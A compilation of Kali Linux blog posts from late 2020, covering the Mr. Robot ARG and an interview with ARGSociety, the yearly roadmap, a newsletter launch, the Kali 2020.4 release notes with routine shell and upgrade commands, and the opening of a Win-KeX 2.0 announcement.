┌──(kali㉿kali)-[~]
└─$ sudo powershell-empire

Kali Linux + Mr. Robot ARG Society

Tue, 29 Dec 2020 00:00:00 +0000

Many of you may have known about the show Mr Robot and its unique connection to Kali Linux. But there is a little bit more that we have not talked about due to NDAs. But it appears the mystery is over, the red tape has been removed, and we now wanted to take a moment to share it with everyone.

We had a relationship with Mr Robot, which started during the filming of the 2nd season. While the 1st season was running, we were approached at BlackHat 2015 to give our permission to use Kali in the show. We worked out the legal parts of things (it’s legal to use Kali in media, we don’t care, but studios want that in writing), and starting in the 2nd season from time to time the production staff would reach out to us to ask us questions, have us provide them graphics, provide them with specific versions of Kali that were public on specific dates, and similar to keep the show accurate. We were very impressed with the efforts to keep the show grounded while still carrying on a strong hacking focused narrative.

Mr Robot has an “Alternative Reality Game (ARG)” that has been part of the show from the start. The idea is that as you watch the show, you watch for clues and the clues from the show go into the game and you solve puzzles etc. The production staff wanted us to be part of this ARG and help them on their final step of the puzzle to be tied into the last episode. The final episode aired December 2019, but the puzzle was only recently finally solved.

You can read the gory details of the final answer if you are interested. The idea was, we would do a commit to the Kali Git repository that would include a number of items, but also have a surprise. The commit we made was the initial commit of the “Legacy Wallpapers” where we took the old Kali and BackTrack wallpapers and made them available to everyone. However, embedded in one of the images was a steganographic message which was a private SSH key. This is the same background image that was used throughout the show’s filming.

With a password, the SSH key could be extracted from that image. Then with that, players of the ARG could use it to connect to a “final target”.

How would anyone find that one graphic? The clues in the ARG that lead them to it included a call out to “OffSec”, the Kali GitLab group ID, the project ID for the Legacy Wallpapers, and the specific commit where we had uploaded the special wallpaper.

Now the mystery is over, the final problem is solved, and the last door on Mr Robot is finally closed. It was awesome being even a small part of the show, and we loved the respect that the show paid to keeping everything based in reality.

Goodbye friend.

Mr. Robot ARG Society

Any show would be nothing without an audience to watch it. Mr Robot is no exception, and after millions of people watched it, communities started to formed (either online or in person). People would discuss previous episodes, predict theories of where the show was going to go, and have watching parties. Its not un-common for shows to have “Easter eggs” embedded in them (these can be are little gems hidden in plain sight, which may give a “head nod” to something, or a spoiler for a up coming event). They are hunted after by people, and adds another level of excitement to re-watch a show. Mr Robot has plenty of them. But where Mr Robot is unique to any other show out, there is (for the time being) an various online elements which links beautifully back into the show. In a sense, these are mini “spin offs” to the show, allowing for people to go further, get interactive and solve challenges in the Mr Robot universe. One (of a few) domains is “Who Is Mr Robot”, which is where there was a lot of focus to solve its challenge(s). This was made up of a collection of virtual terminals all from the show, which has a series of technical challenges to solve.

There were multiple groups of people working towards (either group of friends doing it privately, or people who started out to be strangers coming together doing it publicly), a lot of people started trying to answer, but not many made it all the way to the end of Season 4. Finally after over a year of trying, someone got the final part, ARGSociety. We want to reach out and get their view of the show & challenges. We found their subreddit and later joined their discord. It was immediately apparent how close of a community these people are, not only how active but how passionate they are about the show (and still are). People didn’t know each other before joining, but they were all welcoming, humble, and they all had a part to play in solving the puzzle. After chatting to everyone one of the members, @BK, was selected to be in interviewed on behalf of everyone in the group.

Q.) Why the show Mr Robot?

Mr Robot shouted out to the world: I am here now, and “your democracy has been hacked”. The premise was enough to make me curious. Myself and the other leaders of this crazy community (Carnage Beam and Risk), had no clue what any of us were about to get into.

Q.) Did you start watching it from the start?

I hadn’t even seen so much as a trailer for this show when I started it. Aside from a poster of this dude in a hoodie, I went in blind. But USA network allowed the pilot episode to be viewed about a month or so earlier than its on air premiere date. So by the time the pilot had aired, I think I had already rewatched that single episode 4 or 5 times.

Q.) What was your favorite season from the TV show?

Picking a favorite season of Mr Robot is like trying to pick a favorite family member. I love them all in their own unique ways.

Season 1 offered us a hacking adventure show, almost fit with our very own “hack of the week” (usually a procedural trope I mostly loath). And as someone who wasn’t familiar with the hacking world, I walked into Mr Robot season 1 as an undergrad and by episode 10, I felt like I had my degree. At the same time it became evident as each episode aired, that this was so much more than a hack of the week show. It was the character driven drama that kept me week to week.

Season 2 became a mirror into the soul; Elliot’s soul, and ours. It was slower paced, and with Elliot unable to hack for about half the season, Esmail was able to take deep dives into his characters’ minds. Season 2 was polarizing, but for those that stuck with it, perhaps the most rewarding.

Season 3 became this high octane combination of season 1 and 2. We stood and watched as we got hacks, evil antagonists with master plans, all the tears, and most importantly, we got deeper into the psychology of Elliot Alderson. As Elliot hacked his way through season 3, we learned more and more about who this Elliot guy really was.

Then Sam delivered season 4. Fulfilling a show long promise that we the audience would finally understand the “whys” for everything that had transpired on the show.

How could I ever pick one member of the family over another?

Q.) Did you watch the show by yourself or with people in the same room or virtually?

I had broken my foot and was subsequently dumped that same summer Mr Robot first aired. So for season 1, I was watching alone in a bed with my leg in a boot (I honestly think Sam Esmail would agree this method of watching helped me live inside Elliot’s brain a bit more). At the time, I browsed Reddit for other shows I watched like “The Leftovers” or “LOST”. And I found the Mr Robot subreddit sometime in the middle of that summer. It’s where I first learned people were catching background items in the show that I had seen as well and trying to group think just what those items may mean overall. I was hooked.

Q.) Hacking is such a boring thing to watch, how did the shot make it interesting to you?

This, I thought, would be the easiest question to answer. Because I do represent that part of the audience that has NO CLUE how to hack. It’s foreign to me in every way. Yet there I was week after week, trying to understand more and more of just how Elliot could pull some of these hacks off. There are three different types of viewers out there: Those who can hack, those who cant but understand what’s going on, and those who don’t know how to use hotkeys. I was the latter. I think the most important thing Esmail did for the hacking world and how it is represented on TV was–he didn’t sugar coat anything. He showed us EXACTLY what hacking was. No TRON city file directories in this show. He didn’t need to spice up or dumb down what hacking was to deliver it to his audience–no need. The respect he showed carried over to me as an ignorant audience member.

Q.) What’s your favorite hack from the show?

My favorite hack was one of the more simple in all of the show’s hacks (rich coming from someone who cant hack to call anything done in this show simple). There’s a moment at the end of season 1 (I won’t spoil it in case some people have been living under a rock) where Elliot needs to hack a blank CD with audio files. This rudimentary hack was shot beautifully with Rami’s amazing acting center stage. Then the music kicks into high gear as we are with Elliot in the moment. He cried–we all cried. It was this moment near the end of season 1–I realized this show was gonna change things about TV.

Q.) Would you call yourself a hacker (pre or post show)? What do you do for your day job?

I would not call myself a hacker. I think every single person in the Mr Robot ARG community would attest that I was the quintessential non-hacker of the community. Carnage Beam and Risk on the other hand were our experts, in addition to being part of the leadership team.

When the show started I was still in professional sports advertising. By the time the show ended, I moved back to Los Angeles to be a writer.

Q.) Had you used Kali Linux before?

I hadn’t so much as heard of Kali Linux, let alone used it prior to Mr Robot.

Q.) What did you think of the ending?

This is like kicking a hornet’s nest. I loved the ending. I hated the ending. And then I loved it all over again. Endings are damn near impossible these days. Writing a mystery? Groupthink from Reddit most likely already figured it out 8 episodes ago. Writing an epic adventure? Better not have one of your big bads die with a glass of wine in their hand staring off in the distance. What Sam did in the final season was almost take the onus off the “ending”. He gave us answers throughout that final season, allowing us to just enjoy the final chapter of the story as best we could knowing it was all coming to an end.

Something the end of Mr robot captured was spirit. As Elliot’s journey was ending, ours was too. Despite all the crazy hacks, storylines and complex problems Elliot got himself into, most of all we all just wanted to see this crazy hacker find peace. I think Sam accomplished that with flying colors.

Q.) How many times have you seen the show now?

Well you’re talking to a member of ARGsociety. I think the average member has rewatched each season at least 2 or 3 times. Personally I have seen each season anywhere from 15-20 times. I am a theorizer. A graduate with a PhD from the theory school of LOST. If the show really has meat on the bones, you’ll find yourself learning or catching something new each watch.

Now add in the puzzles. Scanning episodes over and over and over again, scrupulously looking for easter eggs or QR codes. Or looking for that one item Sam placed in the background to be found only upon a rewatch.

Q.) Aware of any other easter eggs in the show?

Well, that was the beauty of this show. It demanded we look at, and question, everything. And that’s exactly what we did. The line blurred so much it was hard to tell what was an actual easter egg and what wasn’t.

Fun fact, Sam said there’s still an easter egg or two to be found from the show. Granted we may have already found whatever he’s talking about, or maybe not… but I think there will always be a mystery or two left to be solved in Mr Robot.

Q.) When did you start to partake in solving the puzzle (WHoIsMrRobot.com)?

After the CD hack at the end of season 1. Seeing as I wasn’t a hacker, I wasn’t sure what it was I was actually seeing on screen in terms of interactive ARG material. It took watching Elliot do something as innocuous as the CD hack for me to wonder “hey what was that password he used? Am I supposed to figure it out?” I jumped on Reddit and found our group, ARGsociety, still in its infancy. Leading me to the infamous wimr (whoismrrobot.com).

Q.) Can you explain what it was like when you solved any part of the challenges?

If I pretended to answer this like I myself solved any part of the puzzle, our community of thousands would collectively laugh their butt off. I helped when I could, but most of our solves were figured out together. We painstakingly would discuss what and where answers could be found. Fellow leadership would try and explain the fundamentals of different ciphers and how to spot them, in an effort to advance in the game. But this group of puzzle solvers was never satisfied until we beat each season as a whole. We never celebrated (or slept) until every single puzzle was solved and the story for that season’s ARG was complete.

Q.) What was your favorite part of the interactive puzzle?

Personally for me, it was the world blending. According to the show we, the audience, were inside the mind of Elliot. The interactive ARG websites helped cement that notion. It felt like we were really living in Elliot’s universe with every URL or QR code we would find.

Q.) Would you partake in solving another show’s interactive puzzle?

I would in principle. However it would need the perfect blend that Mr Robot provided. There’s a fine line between marketing material, simple interactive game, and world blending ARG. Other shows have tried to pass off superfluous marketing material as some kind of makeshift ARG and they’d lose me, Carnage, Beam, and Risk off the bat. In fact that kind of laziness in the world building would make me stop watching the show altogether. A few shows can get it half right and really do put time and effort into their ARG–but there’s no world blending. It just feels like you’re solving a game that has no bearing on the actual substance of the show you’re watching. Mr Robot captured the exact right amount of magic to make their ARG blossom.

Q.) What advice would you give to a TV show/movie producer who is wanting to create an interactive “puzzle”?

Almost a see above answer here. I would repeat what I heard Sam Esmail say about his ARG: “If we’re gonna do this–we do it 100%”. Don’t half ass it. There is a unique opportunity for show creators and producers by developing an ARG world, one that I think a lot have shied away from.

On that token, I would also say Esmail could have done even more. To be clear: he gave us this game and we couldn’t be more grateful. He melded us into his universe with precision–he knowingly or unknowingly created a community of die hard fans for life. Ones that were hopping back to Amazon prime to rewatch an episode because they’re looking for 2 more digits to an IP address they missed. It doesn’t take a genius to know what that can mean for view counts, strategic advertising, and word of mouth. But by the end of the show, we kind of did feel left out in the dust a bit. 1000s of hours were invested into his universe, and I dare say we would all do it again in a heartbeat. But it felt like we were pen pals waiting for a letter that never came. This isn’t a slight against Sam or the larger audience as a whole. But there was only one group of a few thousand people walking, talking, sleeping, and breathing Mr Robot–that was ARGsociety. I know that when I write a TV show, those are the fans I’ll be giving back to the most.

Q.) What are you going to do now? After rewatching the show another time that is!

I’m going to continue to write my ass off until I feel like I somehow know what I am doing. Kind of like how I handled hacking and the ARG for Mr Robot! Then the next step is figuring out how to incorporate an ARG of my own into a show I have cooking up.

Q.) At what stage did you create the community?

We began as a subreddit. I joined leadership at that stage–right around the start of 2017. We also had an IRC where we would try and chat in real time but it was never too effective in communication. We hit about 3 or 4 thousand members on the Reddit (most of which active) before we ballooned, prior to season 3. Each seasons’ ARG came with a prize. And the prize for solving season 2–was that your name would be put into the show on one of the many hacking screens we see. Some of us were lucky enough to be included in the Mr Robot universe for life–a prize no one can ever take away. A true honor. So once word of this very interactive prize spread–our numbers ballooned.

It was there we decided to move our puzzle solving from the post/reply world of Reddit to the real time organized conversation style of Discord. I’m a millennial in my mid 30s. Discord reminded me of the old school AOL chat rooms–and it felt like the perfect platform to solve ARGs with. As a leader of the community–I felt the move to discord would not only strengthen our puzzle solving abilities, but also allow the Mr Robot community as a whole, a place to meet and actually get to know one another.

Both our Reddit and discord have continued to grow beyond the show’s end. Between the two we have roughly 10,000 or so members.

Q.) Would you say the people here are now good friends, keep in touch, friends for life?|

I’d say that varies with every member in the group, right? Lots of our numbers lurk in the background–yet keep an active status in the discord server. People come and go with discord servers all the time. Yet in ours, it seems people like to stay. Even some of the ARG team that developed the game itself, have become members of the community.

Those of us active every day, are friends for life. I don’t see anyone going anywhere anytime soon. We have people from all walks of life on that server. I don’t travel to other discord servers all too much, but I have to imagine we have one of the most inclusive servers in all of the internet. We have members on every continent, speaking 24 hours a day. Cis, trans, nerds, jocks, hackers, jokesters, drinkers, smokers, midnight tokers. Not only are we friends, but in this new COVID world we might even be the future.

Q.) We like to give credit where its due. Who helped you?

Hmm, it was largely a group effort. Some key solvers–and by key I mean, without them, we might still be stuck on those puzzles they solved, even today… were @obafgkm, @cr4mb0, @RipVanWinkle, @PunkAB, and @Bogie among others. @Willvoid did stellar work keeping the ARG map/timeline updated with every solve we made. Allowing new members easy access to catching up with where we presently were in the game. Every active member had a role in solving the ARG. Even down to those who just reminded us to focus when we were going off the rails. The names are too many to list.

Q.) Anything else you would like to add?

I’d like to add that we as a community are ready for the next big ARG. The marvelous team at 5th column, and the work done behind the scenes by people we will never know about (but would have liked to), together led to a well deserved EMMY for best ARG in 2020. Frankly no other ARG came close to what the Mr Robot ARG has been year after year. I was glad to see the win come for them.

We’re ready for the future. But we’re gonna wait for the next show that deserves us.

From everyone on the Kali team, well done ARGSociety! It looks like you guys haven’t yet stop, and are hunting to the other Easter eggs still left to be found! If you want to know more, get involved, join their subreddit and discord.

We will leave you now with a video by @Beamofoldlight from ARGSociety in his down time put together this of them completing the final puzzle, which really shows just how much effort went into solving it all. Enjoy.

Your browser does not support the video tag.

The last 12 Months (2019/2020) & Looking Forwards (2021)

Tue, 22 Dec 2020 00:00:00 +0000

As the end of the year is coming up (some may say not quickly enough), we want to take a few minutes and recap on our roadmap 2019/2020 post.

At a higher level, the last 12 months of Kali Linux (outside of the normal release items - e.g. packages updates), Kali has had various refreshes, switches and additional new features added.

Looking a little deeper:

There has been a lot of graphical & visual changes (e.g. desktop environments & shells refreshes)
With a few “under-the-hood” core system changes (e.g. switching to non-root & default shell)
With a sprinkle of end-user experience improvements (e.g. new system images & message at login)
We have also been altering and tweaking the back end infrastructure (just not been talking about it publicly in release notes)
We have also introduced various new features (e.g Kali-undercover & Win-KeX)
Added support for new platforms & improved current ones (e.g. Vagrant, AWS, ARM & NetHunter)
We understand not everyone has liked the Python 2 tool removal, but it was necessary and did to help future proof Kali. We know this is a painful process, deep change like this always is. But it will only get easier as time goes by and more tools update

Breaking it down on a per Kali release, the feature highlights from each release:

Kali 2019.4 (November 2019)
- Switching to Xfce for default desktop environment
- Xfce desktop environment refresh
- Git-powered Kali-docs
- Introducing Kali-Undercover + NetHunter-KeX
Kali 2020.1 (February 2020)
- Switching to non-root user
- Gnome desktop environment refresh
- Switch to single setup image
- Start of removing Python 2 tools
- Introducing NetHunter Rootless edition
Kali 2020.2 (May 2020)
- KDE Plasma desktop environment refresh
- Introducing LXC / LXD images
- NetHunter improvements to WiFi (in-built monitoring & injection)
- Introducing NetHunter USB Arsenal
- Introducing NetHunter Kernel-Builder
Kali 2020.3 (August 2020)
- ZSH shell refresh
- Introducing Win-KeX
- Improving HiDPI support
- Kali icon refresh
- Kali setup improvements
- Introducing NetHunter Bluetooth Arsenal
Kali 2020.4 (November 2020)
- Switching to ZSH as default shell
- Bash shell refresh
- Messages at Login
- Kali AWS image refresh
- Support for VMware Vagrant
- Support for Win-KeX on ARM
- Removed Python 2 tools
- NetHunter settings menu (Backup/restore + boot menu)

It goes without saying, that over the year we have updated countless amount of tools, as well as introduced 120 new ones. We also added more support for ARM & NetHunter devices. ARM we have a new 3 build scripts and 1 new pre-generated images. With Kali NetHunter we have:

[13](https://nethunter.kali.org/device-kernels.html new devices (25% more)
20 new kernels (14% more)
9 new pre-generated images plus 2 generic images (50% more)

That’s looking back on 2019 & 2020. But what does it look like looking forward to 2021?

2019/2020 was a focus on the interface of Kali. 2021 is going to be more tool focused
The only thing we didn’t manage was to port over kali.org/tools/ to markdown - so that’s still on the cards
Speaking of websites, we are going to be giving our website a face lift
The release of “Kaboxer” - a project we have been working on for the last 18 months
We are hoping to do an online event, aiming for August - more details about that in Kali 2021.2
Giving a make over to the community support (forums and real time chat)
Improving the bug tracker

We hope to get to as many of those items as we can, as well as a few other things that we have up our sleeves. With that all said, see you for Kali 2021.1, which we are planning on releasing a little later next year (currently penciled in for a Tuesday in February 2021).

Announcing Kali Linux Newsletter + Keeping in Touch

Mon, 21 Dec 2020 00:00:00 +0000

Extra! Extra! Read all about it! Today we are announcing the Kali Linux newsletter.

It’s easy to miss certain news. Not everyone is regularly checking our web page to see if something has been posted (and we don’t have a regular schedule of when we update). It is easy to be drowned out in social networks with everything else going on. And RSS feeds have not been as common as they once were. So to try and help keep you in the loop with Kali Linux, we now have a newsletter option.

The contents of the newsletter will mirror our blog posts (we are not trying to market or sell anything to you). Once a day, if there has been any new posts, we will now send a copy direct to your inbox.

If you want to, please sign up to the Kali Linux newsletter.

Stay tuned, as we are going to keep working on other ways to improve our communication and community interaction in 2021!

How can you keep up-to-date with what’s going on with Kali Linux? Take your pick! There are various different offerings:

For pure content:

We are on a few social networks too (there will be other infosec related items shared):

Follow Kali Linux Twitter

If you are wanting to keep up-to-date with Kali’s packages:

You can register at Kali Linux Package Tracker and then select which ones you want to be alerted when they update.

And if you think something is down, which should be working on our end:

You can discover the answer on the Kali Linux status page

Kali Linux 2020.4 Release (ZSH, Bash, CME, MOTD, AWS, Docs, Win-KeX & Vagrant)

Wed, 18 Nov 2020 00:00:00 +0000

We find ourselves in the 4th quarter of 2020, and we are ecstatic to announce the release of Kali Linux 2020.4, which is ready for immediate download or updating.

What’s different with this release since 2020.3 in August 2020 is:

ZSH is the new default shell - We said it was happening last time, Now it has. ZSH. Is. Now. Default.
Bash shell makeover - It may not function like ZSH, but now Bash looks like ZSH.
Partnership with tools authors - We are teaming up with byt3bl33d3r.
Message at login - Proactively pointing users to resources.
AWS image refresh - Now on GovCloud. Includes Kali’s default (command line) tools again. And there is a new URL.
Packaging guides - Want to start getting your tool inside of Kali? This should help.
New tools & updates - New Kernel and various new tools and updates for existing ones, as well as setting Proxychains 4 as default.
NetHunter updates - New NetHunter settings menu, select from different boot animations, and persistent Magisk.
Win-KeX 2.5 - New “Enhanced Session Mode” brings Win-KeX to ARM devices.
Vagrant & VMware - We now support VMware users who use Vagrant.

ZSH Shell By Default

In our previous quarterly release, 2020.3, we gave a heads up that we will be switching from Bash to ZSH as our default shell going forwards (where possible). We are happy to announce that after testing and feedback from users, the switch has now happened. Say hello to ZSH:

┌──(kali㉿kali)-[~]
└─$ echo "Hello World. I'm $0"
Hello World. I'm zsh
┌──(kali㉿kali)-[~]
└─$

Thank you to everyone who provided positive and constructive feedback. We are happy with it, and hope you are too. With that said, we know we cannot please everyone with it (so if you wish to revert back to Bash, please do: chsh -s /bin/bash).

ZSH will be the default shell on our desktop images (amd64/i386), and cloud. For the time being, other platforms (e.g. ARM, containers, NetHunter, WSL/) will still use Bash. We hope to switch more over in later versions. If you use adduser, regardless of the platform, it will also default to Bash for the time being (to avoid some edge cases of items breaking). In time, this will be changed as well.

How do I get it? Good question! If you:

Do a fresh install of Kali Linux 2020.4 or later, it will “just happen” during the setup.
If you are updating Kali, you will need to switch each user to ZSH (e.g. non-root & root since Kali Linux does not use the root account since 2020.1/).

I need to switch. How do I? This can be done by applying our default zshrc file. If you are not already using ZSH, you can simply copy it over. If you are, you will need to overwrite (make sure to backup first):

kali@kali:~$ [ -e ~/.zshrc ] && cp -i ~/.zshrc{,.bak}
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.zshrc ~/
kali@kali:~$
kali@kali:~$ chsh -s /bin/zsh
kali@kali:~$
kali@kali:~$ zsh

If you’re reading this, you may also be the type of person who likes Easter eggs - our prompts contain a few! If you go looking you may find a few gems (e.g. new_line_before_prompt & root vs non-root)._

Bash Shell Makeover

Kali Linux now has a universal, cross-shell theme.

Whilst we were tweaking ZSH, we also updated our Bash prompt ($PS1), to make it feel similar (but not act similar) to our ZSH prompt. We started playing with the Bash prompt in Kali Linux 2020.3, when the colors changed for non-root users, from red to blue. Before then, we had not changed it since Kali Linux was first released.

How do I get it? Another good question! Very similar answer to ZSH, but this time using .bashrc instead. If you are doing:

A fresh installation of Kali Linux 2020.4 or later, it’s already applied.
If you are updating Kali, you will need to configure each user (e.g. non-root & root/)

If you have made any alterations to ~/.bashrc, make sure to back it up before replacing it:

kali@kali:~$ cp -i .bashrc{,.bak}
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.bashrc ~/
kali@kali:~$
kali@kali:~$ source ~/.bashrc
┌──(kali㉿kali)-[~]
└─$ echo "Hello World. I'm $0"
Hello World. I'm bash
┌──(kali㉿kali)-[~]
└─$

If you look & edit the contents of .bashrc, you can switch to the red “BackTrack” prompt to be nostalgic.

Partnership with tools authors: byt3bl33d3r’s CrackMapExec (CME)

Kali Linux is part of the greater community and we want to support tool authors where possible. If you have not heard of CrackMapExec (a.k.a CME), you may be missing a trick (or three) when it comes to doing infrastructure assessments (especially involving Active Directory).

We noticed that byt3bl33d3r made the decision to move to a sponsorware model. You may or may not agree with his decision, but we understand his reasoning. The tools which he makes are highly valuable and relied upon by many. We want to support him and our Kali Linux users. After various calls and email exchanges, we are delighted to reveal Kali has partnered with byt3bl33d3r.

What does this mean for me? The Kali package of CME is now pulling from a private source, allowing Kali Linux users to get access to the newest changes in CME 30 days before the tool is made public to everyone else. If you don’t use Kali, you either need to sponsor directly or wait for it to be released after 30 days.

Why are you doing this? Because we believe in Open-source and the community as a whole. This way, everyone benefits; both authors and users.

Kali is Open-source. What is stopping me from stealing/ripping/cloning from you? The code will be distributed with a banner saying something along the lines of, “for Kali users only”. Removing/altering the code will break the software license thus breaking copyright law. Do not be that guy.

Is that it? Yes! Kali Linux is Open-source. We understand and respect software licenses, and by doing so we hope to keep everything Open-source as much as possible. Putting checks & protection in place, you may be happy using someone else’s cracked/pirated software (warez) - but do you know what has been altered under the hood?

But Kali Linux being Open-source, has to respect other people license agreements, as do any other respectable organizations. This also includes when tools which have their license agreements changed in software updates, as a result, we have removed them from Kali.

We have more to announce about direction step in a 2021.x release (as well as looking for other authors to sponsor with). Stay tuned for more information!

We have noticed there being a large uprise of the amount of people saying “Kali Linux is missing ‘XYZ’” or “XYZ feature is broken”, when this is not always the case. We have done our best to write up various issues on our docs pages, however it appears they are not always being read. We also know that not everyone has a unix beard as long as @elwood-offsec, but hope you still are an experienced Linux user. There is always a reason why something is the way it is, but it may require more than the usual basic troubleshooting.

With all of that said, we are wanting to improve our communications going forwards. Most of the actions in Kali are done by the command line. So now, upon logging into a Kali terminal or console, you may be presented with a mixture of the following (depending on the configuration of your system, as it is dynamic):

$ ssh kali@172.16.13.37
Last login: Thu Nov 12 15:12:29 2020 from 172.16.13.1
┏━(Message from Kali developers)
┃
┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
┃
┃ This is a cloud installation of Kali Linux. Learn more about
┃ the specificities of the various cloud images:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-cloud-setup/
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run "touch ~/.hushlogin"
┌──(kali㉿kali)-[~]
└─$

We hope this helps various common problems to be quickly fixed, but at the same time, not feel intrusive. Each of the issues have a link to our documentation page in order to correct the issue. After its been addressed, the message should not be displayed again. For whatever reason (unable or do not want to), you can permanently hide any messages from us being displayed by doing: touch ~/.hushlogin (per user) or touch /etc/kali-motd/disable-all (for a global setting).

We have a few other things in the works to help communicate items out planned for 2021.x. Stay tuned!

AWS EC2 Cloud Image Refresh

Kali Linux has been on AWS since 1.0.6. Over the years, we have done various refreshes of our build-scripts to produce the cloud images. Finally with Kali 2020.2, we have a fully automated system in place. However during the changeover, we were shipping the image without any GUI or any tools by default. This was to give the cleanest, smallest image as possible. In hindsight, we didn’t communicate this change over well, and a lot of you noticed “tools missing” (as kali-linux-default was not included/). However, in 2020.4, we have created a new metapackage, kali-linux-headless, and included it which only has the default set of command line tools.

Upon doing the refresh, we have worked with AWS to get Kali Linux added to “GovCloud”. Which may be useful to a certain audience. With how the accounts were setup, we have had to start from fresh. As a result, we have a new marketplace entry.

What does this mean for people who are using the old entry? As Kali Linux is a rolling distribution, not a lot! You can still keep updating Kali Linux as usual. However, you will no longer be able to spin up the latest version using the latest instance. For that, you will need to switch to the new entry.

Note: We have tried to say it as many different places as possible, but putting it here is not going to hurt. The default login for AWS EC2 username is “kali” (not the standard “ec2-user”).

Kali-Docs & Packaging Guides

In 2019.4, we moved https://docs.kali.org/ from a WordPress solution to https://www.kali.org/docs/ using Hugo. In September, we finished (for now) tweaking the theme, making it easier to use, super fast at loading and easier to anyone to edit.

We have started to go though all the pages and refreshing them, bringing them all up-to-date, and adding more in. We are doing it section by section, and so far have completed the first three (so we still have a way to go! After it is completed, it will be easier to keep them up-to-date, making it an on-going task. For the sections that are missing or lacking content, we have been generating issues to help track. If you want to help get involved with Kali Linux, this is an easy place to start.

We have also created various new pages, all about our packaging process:

We have also the pages from our login messages:

And various other pages created:

New Tools & Updates

As with every Kali release, there are new tools and updates. The kernel got an upgrade to 5.9, so you benefit with all the loveliness that that brings. We have switched to “proxychains4” (aka ProxyChains-NG) as the default (everything from v3 should still work: same flags and configuration files & folder locations for legacy users, else the paths will reflect the version if starting from fresh). Also, GNOME was updated to 3.38 & KDE to 5.19.

New tools in Kali Linux:

One last thing. We have tweaked how we handle our wallpaper packages:

kali-wallpapers-all ~ Give me all the wallpapers
kali-wallpapers-2019.4 ~ Default for Kali Linux between 2019.4 and 2020.3
kali-wallpapers-2020.4 ~ Default for Kali Linux between 2020.4 and onwards
kali-wallpapers-legacy ~ Nostalgic value

Kali NetHunter

@yesimxev has added a new settings menu, allowing for easy back up and restore of configuration files. It also allows you to change the Kali NetHunter boot animation. How is this as a teaser?

Call on all boot animation devs out there: We’d love to hear from you. If you have a cool boot animation you’d like to share, please submit a merge request to our Kali NetHunter Boot Animation repository.

The new images also contain a “Magisk persistence” module, so we no longer have to flash Magisk again after we installed Kali NetHunter.

Win-KeX 2.5

Win-KeX 2.5 includes a new “Enhanced Session Mode (–esm)”, which works like the “Window” mode but uses the Remote Deskop Protocol (RDP/) & client native to Windows. This mode will allow users of “Windows on ARM” devices to use Win-KeX and it adds sharpness to Win-KeX on HiDPI devices.

We have also added a --ip option to address a bug in WoA causing massive packet losses when using “localhost”. To start Win-KeX with sound on arm devices, just type:

kali@kali:~$ kex --esm --ip --sound
kali@kali:~$

The --ip parameter has one little downside though: Win-KeX asks for the Kali Linux user password when launched for the first time and stores it in the Windows credentials store. Since the IP address changes after every reboot, you will be prompted again. This is a known WSL2 bug and we’ll expect it to be fixed soon so that we can drop the --ip parameter and we’ll never have to enter the password again.

Kali Vagrant & VMware

We have had a Vagrant image since Kali Linux 2018.3. However, it’s always been for VirtualBox. Until now. We are now also producing a VMware Vagrant image!

Note, you will need to have a separate license for both VMware and Vagrant for this to work, as it is a paid-for plugin. For more information, you can see here and here.

Kali ARM devices

We have been working away on our ARM images as usual, and this release is no exception. We have reduced the amount of pre-generated images (now 14) as there has not been the demand for these other devices. We have left their build scripts (now up to 43 devices supported), in case you wish to generate the images yourself.

Community Shoutouts

Following on from last time, these are people from the public who have helped Kali and the team for the last release. We are super grateful and want to praise them for their work (giving credit where due!):

@1y for generating a ARM build script for a new device, imx6-ull-evk
@dracode for the awesome work on NetHunter, in particular the GPS fixes.
@mirivan for all the amazing additions and fixes to NetHunter as well as helping out with the issue tracker.
@TheMMcOfficial for his continued help with NetHunter and DuckHunter
@Martinvlba for his great contributions to NetHunter, especially hostapd
@s133py for all the tireless work on NetHunter and helping with issues

Not a community member per se, but we do want to give an honorable mention to GitLab. Kali Linux is now a Open-Source Partner (different to their Open-Source Program). We made the switch middle of 2019, and we could not have been happier. Thank you GitLab for supporting us, and for everything you do for the Open-source communities as a whole!

And on the subject, Kali Linux is apart of Docker’s Open-source Community.

Download Kali Linux 2020.4

Fresh Images: So what are you waiting for? Start downloading already!

Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce weekly builds that you can use as well. If you cannot wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you’ll have fewer updates to do. Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release.

Existing Upgrades: If you already have an existing Kali Linux installation, remember you can always do a quick update, followed by setting the default shell to ZSH. If you’re already using ZSH, and want our new configuration, you can do the following:

kali@kali:~$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update && sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.bashrc ~/
kali@kali:~$
kali@kali:~$ cp -i /etc/skel/.zshrc ~/
kali@kali:~$
kali@kali:~$ chsh -s /bin/zsh
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f
kali@kali:~$

You should now be on Kali Linux 2020.4. We can do a quick check by doing:

kali@kali:~$ grep VERSION /etc/os-release
VERSION="2020.4"
VERSION_ID="2020.4"
VERSION_CODENAME="kali-rolling"
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.9.1-1kali2 (2020-10-29)
kali@kali:~$
kali@kali:~$ uname -r
5.9.0-kali1-amd64
kali@kali:~$

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Win-KeX Version 2.0

Fri, 18 Sep 2020 00:00:00 +0000

We have been humbled by the amazing response to our recent launch of Win-KeX. After its initial release, we asked ourselves if that is truly the limit of what we can achieve or could we pull off something incredible to mark the 25th anniversary of Hackers? What about “a second concurrent session as root”, “seamless desktop integration with Windows”, or - dare we dream - “sound”?

With no further further ado, we are thrilled to present to you Win-KeX v2.0 with the following features:

Win-KeX SL (Seamless Edition) - bye bye borders
Sound support
Multi-session support
KeX sessions can be run as root
Able to launch “kex” from anywhere - no more cd-ing into the Kali filesystem required
